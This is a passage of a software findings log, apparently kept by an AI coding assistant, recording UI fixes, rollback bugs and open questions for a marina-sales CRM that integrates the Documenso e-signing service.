- **Symptom:** `defaultValues` set `source: 'manual'`, but the `!interest && open` reset path didn't include it. Reopening the drawer for a new interest landed on an unselected source dropdown.
|
||||
- **Fix applied:** reset() block now includes `source: 'manual'` alongside the other create-mode defaults.
|
||||
|
||||
### UploadForSigningDialog — recipients show only one name, no email differentiator + role
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`**
|
||||
- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (RECIPIENT_ROLE_META + RecipientRoleBadge helpers + placement-step sidebar render + FieldSidePanel dropdown).
|
||||
- **React-grab anchor:** `<div class="space-y-1" />` in `FieldPlacementStep` in `DialogBody`.
|
||||
- **Symptom:** placement-step's recipients sidebar (and the FieldSidePanel's "Assign this field to" dropdown) displayed only the recipient's NAME — no email, no role. UAT screenshot showed 4 recipients all literally named "matt 1, matt 2, matt 3, matt 4" with no way to distinguish them; reps editing real docs with duplicate names (e.g. multiple family members on a yacht purchase) hit the same problem. Worse: the failure of the "missing recipientId" error (separate finding below) is silently caused by which-email-maps-to-which-recipient confusion that the rep can't see.
|
||||
- **Root cause:** the recipient rows in both surfaces were rendered as `r.name || r.email || #signingOrder` — falling back to email ONLY when name was blank. With non-blank names, email never showed. Role was tracked in state (`'SIGNER' | 'APPROVER' | 'CC'` on the Recipient interface) but never rendered.
|
||||
- **Fix applied:**
|
||||
1. New `RECIPIENT_ROLE_META` constant maps each role to display label + tint (Signer blue, Approver amber, CC slate). New `RecipientRoleBadge` component renders the pill.
|
||||
2. Sidebar list rewritten as a two-line layout: line 1 is name + role badge, line 2 is the email (or "no email set" placeholder so the row doesn't shift). Email is also surfaced via `title` for hover-truncation tolerance.
|
||||
3. FieldSidePanel dropdown SelectItem rebuilt as a stacked layout — name + role badge on top, email muted below — so reps differentiating duplicate-named recipients can pick the right one without expanding the dropdown.
|
||||
- **Alternatives considered + rejected:**
|
||||
- Showing only email and dropping name — rejected because the cleaner display people want is "Matthew Ciaccio · matt@gmail.com (Signer)", not pure email.
|
||||
- Color-coded chip strip instead of a dropdown — rejected for the same density reason captured in the prior "Assign this field to" finding.
|
||||
- **Effort:** ~30 min (helpers + two render-site rewrites + tsc).
|
||||
- **Cross-refs:** pairs with the "Assign this field to" label fix (just above). Both ship the same UAT round.
|
||||
- **Acceptance criteria:** placement-step sidebar shows {color-dot, name, role badge, email} per recipient; FieldSidePanel dropdown options show {#order, name, role badge, email} per option; duplicate-named recipients are visually distinguishable by email.
|
||||
|
||||
### Documenso upload — silent partial-state when field placement fails
|
||||
|
||||
- **`SHIPPED locally (not yet committed) — comprehensive audit Phase 1 complete`**
|
||||
- **Files touched (this fix):** _src/lib/services/custom-document-upload.service.ts_ (~line 400, placeFields try/catch). _src/components/documents/upload-for-signing-dialog.tsx_ (recipient UI sibling fix shipped separately).
|
||||
- **Symptom:** rep uploads a PDF, places fields, hits Send. Error toast surfaces: `Documenso response missing recipientId for matt.ciaccio@gmail.com - cannot place fields`. Document appears in the CRM's signing UI AND in Documenso, recipients + roles are wired, but **all placed fields are missing**. The signing UI on the receiving end has no boxes to fill, which means a signer who receives the invite via email lands on a useless page.
|
||||
- **Root cause:** in `placeFieldsFromUpload`, the placements were built via `fields.map(f => { if (!recipientId) throw ConflictError(...) ...})` BEFORE the surrounding try/catch. The synchronous throw from `map()` bubbled past the catch-and-rollback block that wraps `placeFields()`, so when the recipient lookup missed:
|
||||
1. Documenso envelope: already created + distributed (`sendDoc` succeeded earlier in the flow).
|
||||
2. Recipients: created with correct roles, signing URLs issued.
|
||||
3. Fields: never placed (the throw fired BEFORE the placeFields call).
|
||||
4. CRM document row: stuck in `'sent'` status because the rollback only fired inside the try/catch that the throw skipped over.
|
||||
Result: the partial state the user described.
|
||||
- **Fix applied (this session):**
|
||||
1. The placements `map()` is now INSIDE the same try/catch that wraps `placeFields()`. Any throw — sync or async — triggers the rollback (Document row → cancelled, Documenso envelope → voided).
|
||||
2. Pre-throw `logger.error(...)` captures diagnostic state: the missed email, every email the Documenso response DID return. Future "why didn't this match" investigations have something to grep instead of guesswork.
|
||||
3. Comment block explaining the dedupe semantic (Documenso de-dupes by email at the envelope level, so duplicate emails across CRM recipient rows all map to the same Documenso recipientId — that's expected behaviour, not a bug).
|
||||
- **Phase 1 audit shipped (5 sub-PRs delivered in this round):**
|
||||
1. **Persist `documensoId` immediately after `documensoCreate`** (P1.1). Was set only at the late success commit, leaving orphaned envelopes when any later step failed. Now the CRM row points at the envelope from the moment Documenso returns the id; rollback paths can find and void it. Catches future failures + future-proofs orphans.
|
||||
2. **Pre-flight validation hard-blocks Submit** (P1.2). UploadForSigningDialog computes a `submissionErrors` memo over recipients + fields. Submit button disabled when errors > 0. Inline amber summary lists every issue (missing email, invalid email, missing name, field assigned to non-existent recipient, no fields placed). Service layer also enforces the same checks (email regex + name presence) so direct API hits reject just as hard. No "I know there's a missing email" override.
|
||||
3. **State-machine refactor with `rollbackTo()` helper** (P1.5). Replaces three independent try/catches with one sequenced try around `create → send → place` and a single catch that calls `rollbackTo(reason)`. Tracks `state.step` + `state.documensoDocId` so future inserts (metadata writes between steps, etc.) inherit the rollback automatically. Idempotent — status flip is a no-op on a second call, voidDocument treats 404 as success.
|
||||
4. **Recipient ↔ Documenso identity reconciliation** (P1.6). After `documensoSend`, validates every distinct email we sent appears in `sentDoc.recipients`. If Documenso silently dropped one, a `ConflictError` fires before field placement so the rollback path triggers. Explicit error message names the missing email(s) for diagnosis.
|
||||
5. **End-to-end test coverage + per-failure audit-log entries** (P1.7). vitest suite extended with: blank email, whitespace-only email, malformed email, blank name, duplicate-emails-OK (Documenso dedupe semantic). `rollbackTo` writes a structured audit_log entry (`status=cancelled`, `failedStep`, `documensoEnvelopeId`, `errorClass`, `errorMessage`) so post-mortem investigation has structured data instead of pre-existing logger lines alone.
|
||||
- **Still open (acknowledged but lower priority):**
|
||||
- **Idempotency on retry** — if the rep hits Send twice, do we double-create envelopes? Today the dialog disables the button while `sendMutation.isPending` so it's mitigated at the UI; service-layer guard via checking `documents.documensoId` before another `documensoCreate` would be belt-and-braces. Queued for follow-up.
|
||||
- **Cross-refs:**
|
||||
- The `/documents/new` wizard refactor (Bucket 3 — wizard refactor finding) touches the same end-to-end flow — bundle the two so the same audit doesn't re-investigate the upload-for-signing service twice.
|
||||
- This is the SECOND time a multi-step Documenso flow has had a rollback gap — the first was the EOI auto-cancel/replace flow (fixed earlier in `65ff596`). Pattern: every multi-step orchestration that touches Documenso needs end-to-end rollback OR pre-flight validation. The audit doc's broader "activity feed comprehensive copy" finding mentioned a similar discipline gap; both should land before more multi-step features ship.
|
||||
- **Open questions for the user:**
|
||||
1. **Are you okay with the comprehensive audit being one larger PR (~1-2 days focused), or should it ship as discrete sub-PRs (pre-flight + state-machine + tests)?** Trade-off: single PR is faster but harder to review; sub-PRs are reviewable but you'd see intermediate states.
|
||||
2. **Should the pre-flight validation block the dialog Submit button entirely, or surface an inline error and let the rep submit anyway (with "I know there's a missing email" override)?** Default proposal: hard block — Documenso's API can't recover from missing emails, so submitting anyway is guaranteed-to-fail.
|
||||
|
||||
### BerthRecommenderPanel — hide entirely when no desired dimensions set
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`**
|
||||
- **Files touched:** _src/components/interests/interest-tabs.tsx_ (~line 1467 Overview inline render + ~line 1577 dedicated tab entry + ~line 1521 hasDesiredDims gate variable + ~line 711 OverviewTab inner gate).
|
||||
- **React-grab anchor:** `<div class="flex flex-col s..." />` in `Card` in `BerthRecommenderPanel`.
|
||||
- **Symptom:** the recommender card rendered even when the rep hadn't entered any desired dimensions on the interest — surfacing only the "Set desired dimensions to see recommendations." guidance subtitle. User flagged that the card AND the dedicated "Berth Recommendations" tab should both be hidden in that state so reps aren't distracted by an empty placeholder.
|
||||
- **Root cause:** previous design intentionally kept the panel always-mounted with inline guidance ("plan §5.3 — always-mounted card driven by the interest's desired dimensions"). User-experience preference now flips that to hide-entirely.
|
||||
- **Fix applied:**
|
||||
1. Computed `hasDesiredDims = toNum(interest.desiredLengthFt) !== null` once near the top of the InterestTabs component, and once inside OverviewTab (because the Overview's inline render lives inside the child).
|
||||
2. Overview tab's BerthRecommenderPanel mount wrapped in `{hasDesiredDims ? <Panel /> : null}` — disappears entirely until length is captured.
|
||||
3. Dedicated "Berth Recommendations" tab object spread conditionally into the tabs array (`...(hasDesiredDims ? [tabObject] : [])`) so the tab strip's tab itself vanishes — not just the content. Rep doesn't get a dead-end tab.
|
||||
- **Why gate on length only (not all three dimensions):** length is the primary ranking input in the recommender's SQL; width / draft fall back to length when missing. Requiring all three would hide the panel for partial-data interests where the recommender still has signal.
|
||||
- **Alternatives considered + rejected:**
|
||||
- Show the panel but collapsed by default — rejected because reps still see the empty card; defeats the user's "hide entirely" ask.
|
||||
- Keep the dedicated tab but show the empty-state inside — rejected for the same reason; the user wants the tab gone too.
|
||||
- **Effort:** ~15 min.
|
||||
- **Cross-refs:** related to the Bucket 3 wizard refactor / OverviewTab inheritance finding — both touch what gets shown to a rep on the Overview tab as a function of what data is present.
|
||||
- **Acceptance criteria:** an interest with `desiredLengthFt = NULL` shows no recommender card on Overview AND no "Berth Recommendations" tab in the strip. Setting desired length via the inline editor causes both to appear immediately (TanStack Query refetch).
|
||||
|
||||
### Per-berth public-map flag — should inherit on subsequent surfaces
|
||||
|
||||
- **`OPEN — needs user clarification on which surface specifically`**
|
||||
- **React-grab anchor:** `<label class="flex items-cent..." />` in `DismissableLayer` in `FocusScope` in `Presence` (i.e., inside a Radix Dialog or Sheet).
|
||||
- **User's message (verbatim):** "this should inherit from on the overview page if the berths on the interest record are marked as being changed/updated on the public map."
|
||||
- **Best-guess interpretation:** the label-anchor lives inside a dialog (DismissableLayer / FocusScope wrap is Radix's modal portal). Most likely candidates given recent UAT focus:
|
||||
1. **EOI generate dialog** (`src/components/documents/eoi-generate-dialog.tsx`) — when the rep generates an EOI from the dialog, a checkbox controls whether the in-bundle berths' public-map status flips to "Under Offer." That checkbox should default to ON when any of the linked berths already have `is_specific_interest=true`, OR be defaulted based on those existing flags.
|
||||
2. **External EOI upload dialog** — same logic, parallel checkbox.
|
||||
3. **Reservation generate / external upload** — same pattern at a later stage.
|
||||
4. **Bulk berth-tagging surfaces** — less likely given the recent flow.
|
||||
- **Root cause hypothesis:** these dialogs currently default their map-flip checkbox to a static value (probably `true`), without reading the existing per-row `is_specific_interest` flags on the interest's `interest_berths` rows. So a rep who explicitly turned the flag OFF on the linked-berths list (because they didn't want the map to flip yet) gets the dialog overriding their choice.
|
||||
- **Fix proposal (when target surface is confirmed):**
|
||||
1. Query the interest's `interest_berths` rows when the dialog opens. Derive the default: if ANY in-bundle berth has `is_specific_interest=true`, default the dialog's checkbox to true. Otherwise default false.
|
||||
2. Better: surface a per-row indicator inside the dialog showing the current map flag state per berth, so the rep sees which berths will / won't flip and can override per-row.
|
||||
3. Wire submit to honour those per-row toggles instead of a single global checkbox.
|
||||
- **Effort:** ~30 min for option 1 (single dialog), ~1.5h for option 2 (per-row UI) once the target dialog is identified.
|
||||
- **Open questions for the user:**
|
||||
1. **Which dialog were you looking at when you flagged this?** Best to confirm before I touch any code — the label anchor doesn't uniquely identify it. Screenshot of the dialog would close the gap immediately.
|
||||
2. **Default semantic:** when ANY in-bundle berth has the flag on, should the dialog default the public-map flip to ON, or should it match the MAJORITY of berths' flags, or should it always be a deliberate per-dialog choice?
|
||||
|
||||
### Documenso upload — title transfer (verification + concern)
|
||||
|
||||
- **`VERIFIED WORKING (no fix needed); UX cue queued`**
|
||||
- **Files inspected:** _src/lib/services/custom-document-upload.service.ts_ (line 388 `documensoCreate(title, ...)`).
|
||||
- **User concern:** "not sure if the name I gave the document transferred through to the documenso document (not sure if i gave it a name or left it default)."
|
||||
- **Verification:** the upload-for-signing service passes the `title` field through to `documensoCreate(title, pdfBase64, ...)` at line 388. Documenso's create call accepts the title verbatim. Same pattern in the EOI generate flow (template-based) — title is sent via the template-generate API.
|
||||
- **Why the user couldn't tell:** the dialog's submission flow returns to the EOI tab + document list without surfacing the title that ended up on the Documenso side. If the rep left it default (no title input) the local CRM defaulted to something like "Dashboard report — 22_05_2026" (per screenshot evidence) — Documenso received exactly that string. Nothing was lost.
|
||||
- **Queued UX fix (small):** after a successful send, show the title prominently in the success toast ("Sent for signing: 'Dashboard report — 22_05_2026' → Documenso") so the rep can immediately confirm what name landed on the receiving side. Bundle with the broader Documenso upload audit (above).
|
||||
|
||||
### Documenso upload + delete — orphaned envelopes when CRM document row has no documensoId
|
||||
|
||||
- **`OPEN (multiple linked bugs; root cause shared with the silent-partial-state finding above)`**
|
||||
- **Files implicated:**
|
||||
- _src/lib/services/custom-document-upload.service.ts:498_ (`documensoId` is only written to the CRM row AFTER `placeFields` succeeds).
|
||||
- _src/lib/services/documents.service.ts:648_ (`deleteDocument` — best-effort void only runs `if (existing.documensoId)`; skips silently when null).
|
||||
- _src/lib/services/documents.service.ts:2220_ (`cancelDocument` — same gated void at line 2240).
|
||||
- _src/lib/services/documents.service.ts:192_ (`listDocuments` filters out `status='deleted'` by default).
|
||||
- _src/components/interests/interest-eoi-tab.tsx:121_ (EOI tab query).
|
||||
- **Symptom chain (UAT 2026-05-26):**
|
||||
1. Rep uploads a custom doc via UploadForSigningDialog → field placement throws (the "missing recipientId" bug captured above). Before my session fix, the throw bypassed the rollback. So:
|
||||
- Documenso side: envelope created, recipients distributed, no fields placed.
|
||||
- CRM side: document row at `status='draft'`, `documensoId=NULL` (never written because line 498 is after the throw).
|
||||
2. Rep "removed the EOI" via the CRM UI — but the doc STILL displays as DRAFT in the EOI tab.
|
||||
3. Rep also confirms it wasn't deleted from Documenso side either.
|
||||
- **Root cause (multi-part):**
|
||||
- **A. CRM lost the link to Documenso.** Because step 1 left `documensoId=NULL` on the CRM row, both `deleteDocument` and `cancelDocument` skip the Documenso void call (`if (existing.documensoId)` short-circuits). The CRM has no way to find the envelope to void. Documenso is now hosting an orphaned envelope.
|
||||
- **B. Whatever "remove" action the rep took didn't transition the status.** The screenshot shows the doc still as DRAFT after the rep's remove attempt. If `cancelDocument` had run, status would be `cancelled`. If `deleteDocument` had run, the row would be filtered out of the EOI tab list (line 195 excludes `status='deleted'`). So the rep's action either errored silently OR triggered a route we haven't identified.
|
||||
- **C. The earlier silent-partial-state bug is the seed.** Without my session fix to the rollback, every failure of `placeFields` left a phantom draft + orphaned envelope. Reproduced reliably until the rollback fires correctly.
|
||||
- **Hypothesis ladder for the "remove" action that didn't take:**
|
||||
1. The rep clicked a cancel/delete affordance but the request 4xx'd (permission denied, validation error) and the toast was missed. The list query never re-ran because the mutation didn't onSuccess-invalidate.
|
||||
2. The rep deleted from Documenso UI directly (not the CRM), and confused that with a CRM-side remove. The CRM still has the row.
|
||||
3. There IS a CRM-side button that hit a route we missed — e.g. a soft-archive that doesn't change status.
|
||||
- **Fix proposal (multi-layer):**
|
||||
1. **Persist `documensoId` IMMEDIATELY after `documensoCreate`, not at the end.** Move the `UPDATE documents SET documensoId=...` call to right after `documensoCreate` succeeds (line ~388). Subsequent failures will still rollback the status, but the CRM retains the Documenso reference so void calls work. Acceptable risk: the row briefly has a documensoId but status='draft'; the rollback path resolves it.
|
||||
2. **Audit every CRM-side "remove EOI / cancel doc / delete doc" affordance.** Each one should: (a) check the rep has permission, (b) call the right service (`cancelDocument` for active flows, `deleteDocument` for drafts), (c) onSuccess-invalidate the relevant queries, (d) surface toast on error not just silently swallow. List candidates: EoiCancelDialog (line 25 of interest-eoi-tab), the EOI tab's per-row kebab actions (currently in interest-eoi-tab.tsx near the doc list render), the docs hub kebab actions, the document detail page's Cancel/Delete buttons.
|
||||
3. **Surface "this row has no Documenso link" in the UI.** When a CRM doc has documensoId=NULL but status not in {draft (pre-send), deleted}, render a small warning chip ("Documenso link lost — cancel + recreate this doc") with a "Repair" CTA that voids the envelope IF the rep can supply a Documenso id, or marks the doc cancelled + lets them recreate.
|
||||
4. **Reconciliation cron / repair script.** Periodic (or admin-triggered) job that lists Documenso envelopes the CRM doesn't have a row for, surfaces them for review. Catches orphans across upgrades / past partial failures.
|
||||
- **Effort:**
|
||||
- Fix #1 (persist documensoId early): ~20 min including a test that verifies the rollback still voids correctly.
|
||||
- Fix #2 (cancel/delete affordance audit): ~2h depending on how many call sites exist.
|
||||
- Fix #3 (UI orphan warning): ~1h.
|
||||
- Fix #4 (reconciliation script): ~2h.
|
||||
- **Cross-refs:**
|
||||
- The earlier finding (above) — "Documenso upload — silent partial-state when field placement fails" — fixes the rollback path going forward. THIS finding addresses the orphans created BEFORE that fix landed + the cancel/delete affordances that miss the void path generally.
|
||||
- Pairs with the comprehensive Documenso upload audit (Bucket 3 — referenced above as `Documenso upload — silent partial-state ...`).
|
||||
- **Open questions for the user:**
|
||||
1. Which "remove" action did you click — the per-row kebab in the EOI tab, the EoiCancelDialog, the docs hub kebab, or the document detail page Cancel/Delete button? Knowing which path you used narrows the diagnosis.
|
||||
2. Is the orphaned envelope in Documenso still there (you said you deleted from Documenso side too — did that succeed)? If yes, the orphan is gone and the CRM-side cleanup is the only remaining work. If no, we need the manual repair pattern in the meantime.
|
||||
3. Do you want a one-time admin script that scans for orphaned Documenso envelopes / dangling CRM rows now (to clean up everything created during this UAT session), or is that overkill and you'd rather just nuke the dev DB?
|
||||
|
||||
### Document signing flow — copy-link parity across surfaces
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`**
|
||||
- **Files touched:** _src/components/documents/signing-progress.tsx_ (the canonical shared component).
|
||||
- **React-grab anchor:** `<div class="relative flex i..." />` in `SigningProgress` in `ActiveEoiCard` in `InterestEoiTab`.
|
||||
- **Symptom:** rep wanted to copy a signer's signing link to send via WhatsApp / Slack / in person, but the per-signer row only showed "Send invitation" (or "Send reminder") — Copy link wasn't visible because it was rendered behind a conditional that hid the button entirely when `signingUrl` was falsy. So if Documenso hadn't issued the URL yet, or the field wasn't populated on the signer record, the rep couldn't copy at all and had no signal that copy was even an option.
|
||||
- **Root cause:** the previous render at signing-progress.tsx:400 read `{signer.status === 'pending' && signer.signingUrl ? <CopyButton /> : null}` — both pending status AND a non-empty URL were required. Reps with a freshly-created envelope (URL not yet on the row) saw only the Send invitation button.
|
||||
- **Fix applied:** changed the condition to render the Copy link button whenever `signer.status === 'pending'`, and disable the button (with a clarifying tooltip — "Signing URL is not available yet — Documenso issues it once the document has been sent.") when `signingUrl` is missing. Available tooltip: "Copy this signer's signing link to your clipboard so you can share it directly (Slack, WhatsApp, in person) without going through email." Style upgraded from `ghost` to `outline` so it reads as a peer action to Send invitation / Send reminder instead of a tertiary affordance.
|
||||
- **Surface coverage:** SigningProgress is the single canonical signing-progress component (used by ActiveEoiCard / InterestReservationTab / InterestContractTab / DocumentDetail / DocumentDetail signers section via #67 doc-detail polish). One fix lands everywhere.
|
||||
- **Alternatives considered + rejected:**
|
||||
- Always show "Copy link" enabled and silently fail when URL is missing — rejected; reps would copy emptystring and ship a broken link in chat.
|
||||
- Show "Copy link" only after invitation is sent — rejected because the design comment (line 388–393) explicitly calls out reps wanting to preview / share the URL BEFORE the formal email goes out.
|
||||
- **Effort:** ~10 min for the condition flip + tooltip; ~0 min for the cross-surface coverage because SigningProgress is shared.
|
||||
- **Cross-refs:** the prior session shipped the Documenso v2 distribute-response field plumbing that populates `signingUrl` (`c4450dd` lineage). This finding is the UI follow-up.
|
||||
- **Acceptance criteria:** every pending signer row in every document signing surface shows BOTH a Copy link button (disabled when URL not yet issued, tooltip explaining why) AND the appropriate Send invitation / Send reminder primary action.
|
||||
|
||||
### UploadForSigningDialog — "Recipient" label is too thin for a load-bearing choice
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`**
|
||||
- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (FieldSidePanel, ~line 1399).
|
||||
- **React-grab anchor:** `<label class="font-medium pee...">Recipient</label>` in `Label` in `FieldSidePanel` at `upload-for-signing-dialog.tsx:1376:4`.
|
||||
- **Symptom:** the FieldSidePanel — the right-hand "Field properties" panel that opens when the rep selects a placed signature/text/date/checkbox field on the PDF — labels its signer-assignment dropdown with the single bare word `Recipient`. The user flagged this as non-descriptive: the field is **load-bearing** because it determines which of the document's recipients will see and fill that specific field at signing time. A wrong selection sends the field to the wrong person; a confused rep skips the step and Documenso defaults to the first recipient. "Recipient" by itself doesn't communicate any of that — it reads like a passive metadata label, not an active assignment choice.
|
||||
- **Root cause:** the panel was scaffolded as a generic Type / Recipient / Value triplet without UX copy. The Select dropdown DOES populate correctly (recipients come from the dialog's `recipients` prop with `#order Name/Email` formatted), so the wiring is fine — the gap is purely the label + a missing explainer.
|
||||
- **Fix applied:**
|
||||
1. Label text changed from `Recipient` → `Assign this field to`. Active verb makes it clear this is a deliberate choice the rep is making, not a metadata read-out.
|
||||
2. Helper paragraph added below the dropdown: "Whoever is selected here is the only person who will see and fill this field when the document is sent for signing." Plain English, explicit consequence.
|
||||
- **Alternatives considered + rejected:**
|
||||
- Renaming to "Signer" alone — rejected because the document recipient list can include CC / approver roles that aren't strictly signers, and "Signer" implies they sign.
|
||||
- Using a per-recipient color-coded chip strip instead of a dropdown — rejected because reps frequently need to assign 10+ fields across multiple recipients in dense forms; a dropdown is faster than chips at that volume. Could be a future enhancement bundled with field-placement keyboard shortcuts.
|
||||
- **Effort:** ~5 min (the fix itself). The rejected color-coded-chip alternative would be ~2h.
|
||||
- **Cross-refs:** prior session shipped `c4450dd` (field metadata panel + payload extension); this is a follow-up polish on the same panel.
|
||||
- **Acceptance criteria:** the FieldSidePanel's recipient-assignment row reads "Assign this field to" with the helper sentence below, and the dropdown still populates the document's recipients in signing-order with `#order Name/Email` formatting.
|
||||
|
||||
### Recommender card — Heat badge needs explainer tooltip
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/berth-recommender-panel.tsx_ (RecommendationCard Heat badge).
|
||||
- **Symptom:** "Heat 81" badge rendered with no explanation of what the number means. The tier badge next to it already has a Popover; the heat badge was a plain span.
|
||||
- **Fix applied:** badge converted to a Popover trigger. Popover surfaces the headline ("Heat score · 81 / 100"), explains the formula in plain English ("how warm this berth is for a re-pitch — recency × furthest stage × interest count × EOI count"), shows the four component scores from `rec.heat.*`, and notes that admins tune the weights in Admin → Recommender.
|
||||
|
||||
### Recommender card — area letter duplicates mooring number
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/berth-recommender-panel.tsx_ (RecommendationCard header).
|
||||
- **Symptom:** card rendered `E1` followed by a separate "E" label. Mooring number already carries the area letter as a prefix (canonical `^[A-Z]+\d+$` per CLAUDE.md), so the standalone area letter was pure visual noise — same complaint as the BerthPicker fix earlier this session.
|
||||
- **Fix applied:** removed the area-letter span from RecommendationCard.
|
||||
|
||||
### Recommender tier contradicts berth status
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/lib/services/berth-recommender.service.ts:223_ (`classifyTier`) + _src/components/interests/berth-recommender-panel.tsx_ (card render).
|
||||
- **Fix applied:** `TierInputs.status` propagated end-to-end. `classifyTier` now collapses the contradiction: `status='sold'` → D, `status='under_offer'` (with or without active interest rows) → C, otherwise existing rules. `RawRow.status` already feeds in via `classifyTier(r)`.
|
||||
- **Symptom:** berth D39 shows both `Under Offer` (status pill) AND `Open` (recommender tier). The tooltip definition contradicts itself: "Open: never had an interest, ready for new prospects."
|
||||
- **Root cause:** `classifyTier` only reads from `interest_berths` aggregates (active count / lost count / max active stage). A berth whose `berths.status` column says `Under Offer` — set manually by an admin, imported from NocoDB, or left over from a stale row — has zero entries in interest_berths if no active interest is currently driving the status, so the tier classifier returns A (Open). The two signals come from different sources and aren't reconciled.
|
||||
- **Fix:** add `berthStatus` to `TierInputs` and bias `classifyTier`:
|
||||
- If `berthStatus === 'Sold'` → return `'D'` (treat sold the same as a late-stage active interest, since the rep should treat it as effectively closed; we still surface it as a backup option).
|
||||
- If `berthStatus === 'Under Offer'` AND `activeInterestCount === 0` → return `'C'` (someone is on it according to the public map even if interest_berths doesn't know who). The competing-interest chip from the previous finding then surfaces who that someone is.
|
||||
- Otherwise fall through to existing rules.
|
||||
- **Alternative considered:** filter Under Offer / Sold berths out of recommendations entirely. Rejected because reps DO use the recommender to surface backup options for "this might fall through" planning. The tier should just match the reality.
|
||||
- **Effort:** ~30–45 min (TierInputs widen + plumb berth status through the aggregator query + adjust the tooltip copy so "Open" / "Active interest" labels stay coherent).
|
||||
|
||||
### Berth occupancy info — surface competing interest on every non-available status
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/berths/berth-occupancy-chip.tsx_ (shared chip) + adopted in _linked-berths-list_ (LinkedBerthRowItem) + _berth-recommender-panel_ (recommendation cards) + _interest-berth-status-banner_ (deal-level banner).
|
||||
- **Fix applied:** new `<BerthOccupancyChip berthId excludeInterestId={currentInterestId} />` reuses `/api/v1/berths/[id]/active-interests`. Renders inline on every non-available status surface (linked-berths list, recommender cards, deal banner). Hides when the only competing interest is the current one.
|
||||
- **React-grab anchors:** `<span>Under Offer</span>` in StatusPill in LinkedBerthRowItem; same pill in the recommender card body.
|
||||
- **Symptom:** anywhere a berth's status renders as "Under Offer" / "Sold" / "Reserved" the rep currently has no idea WHO is responsible for that status. They have to navigate to the berth detail page (or guess) to find the competing interest or the closed-deal client.
|
||||
- **Fix:** reuse the existing `/api/v1/berths/[id]/active-interests` endpoint (shipped for the columns popover + `InterestBerthStatusBanner`) and surface the top competing interest inline on every non-available status surface. Show client name + stage pill + a link to the competing interest detail. Hide when the only competing interest is the current one (self-conflict makes no sense to flag).
|
||||
- **Recommended implementation:** extract a small `<BerthOccupancyChip berthId={...} excludeInterestId={currentInterestId} />` component that runs the query, renders the chip when there's something to surface, and shares behaviour across:
|
||||
- `LinkedBerthRowItem` (per linked berth on the interest detail)
|
||||
- `BerthRecommenderPanel` recommendation card body (per recommended berth)
|
||||
- `InterestBerthStatusBanner` (deal-level banner — already does this; migrate to use the shared chip so the rendering stays consistent)
|
||||
- `berth-columns.tsx` active-interests popover (already exists; keep its richer multi-row popover, but reuse the data fetcher).
|
||||
- **Effort:** ~1.5–2h. Single new shared component + 3 call-site adoptions + the deal-level banner migration. Closes the "who owns this berth right now" gap platform-wide in one pass.
|
||||
|
||||
### NotesList source badge — clickable navigation to source entity
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/shared/notes-list.tsx_.
|
||||
- **Symptom:** the "Yacht · Test Yacht" badge on aggregated notes (e.g. on a client's Notes tab, surfacing a note left on their linked yacht) was a plain `<span>` — no way to pivot from the note to the source entity without leaving the page.
|
||||
- **Fix applied:** badge is now a `<Link>` to the source entity's detail page when `sourceId` is available (clients/companies/yachts/interests/residential variants all covered). New `sourceLinkFor(portSlug, source, sourceId)` helper centralises the URL mapping. `stopPropagation` keeps any outer row-click handler from interfering.
|
||||
|
||||
### Notes tab header count doesn't aggregate
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/lib/services/notes.service.ts_ (new `countFor{Client,Yacht,Company}Aggregated`) + _clients.service.ts_, _yachts.service.ts_, _companies.service.ts_ (wired into `getById` responses) + _yacht-tabs.tsx_, _company-tabs.tsx_ (badge prop).
|
||||
- **Fix applied:** new symmetric-reach count helpers in `notes.service.ts` mirror the existing `listFor*Aggregated` joins. Client tab counts client + interest + yacht (owned) + company (active membership) notes; yacht tab counts yacht + polymorphic-owner + linked-interest notes; company tab counts company + owned-yacht + their-interest notes. `getYachtById` / `getCompanyById` now return `noteCount`; tab definitions render the badge.
|
||||
|
||||
### Admin toggle to disable Tenancies entirely
|
||||
|
||||
- **`PARTIALLY SHIPPED`** — backend exists, admin UI missing. _src/lib/services/tenancies-module.service.ts_ (`disableTenanciesModule(portId)` + companion `isTenanciesModuleEnabled` + the `tenancies_module_enabled` setting) + _src/app/api/v1/admin/tenancies-module/\*_.
|
||||
- **Symptom / user ask:** rep is in "pure sales mode" — doesn't want Tenancies spilling into the UI yet. Wants an admin-level switch to turn the module off so the sidebar entry / entity tabs / dashboard widgets / top-level page all hide.
|
||||
- **Status:** the platform already supports this (per docs/tenancies-design.md §"Platform-wide module-enabled rule"). What's MISSING is the admin Operations toggle in the settings UI: a Switch wired to `POST /api/v1/admin/tenancies-module/enable` / `POST .../disable`, with the disable path showing a confirmation modal ("This will hide N existing tenancies — data is preserved but invisible until re-enabled. Continue?"). Per the design doc the helper copy reads: "When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform doesn't model the occupancy record."
|
||||
- **Fix:** add the Switch to `src/app/(dashboard)/[portSlug]/admin/operations/page.tsx` (or wherever the operations settings live), wire to the existing endpoints, gate behind `admin.manage_settings`. ~45 min.
|
||||
|
||||
### Activity feeds — generic "updated this record" hides real changes
|
||||
|
||||
- **`PARTIALLY SHIPPED locally (yacht transfer only)`** — _src/lib/services/yachts.service.ts:215_ (transferOwnership) + _src/components/shared/entity-activity-feed.tsx:26_ (ACTION_VERBS) + every other service that writes audit_log entries with `action: 'update'` and no `fieldChanged`.
|
||||
- **Symptom:** EntityActivityFeed reads audit_logs and falls back to "X updated this record" when the row has no `fieldChanged`. Major lifecycle events (yacht owner transfer, interest stage transitions, berth status flips, document state changes) write that exact generic row, so the feed loses ALL useful detail — defeats the audit-trail purpose.
|
||||
- **Yacht-transfer fix shipped:** `transferOwnership` now resolves both the old + new owner names (client → fullName / company → name), writes the audit row with `action: 'transfer'`, `fieldChanged: 'owner'`, `oldValue: oldOwnerName`, `newValue: newOwnerName`, plus reason/notes in metadata. EntityActivityFeed's `ACTION_VERBS` gains `transfer → 'transferred'`. Result: "Matt transferred owner to Jane Smith" instead of "Matt updated this record."
|
||||
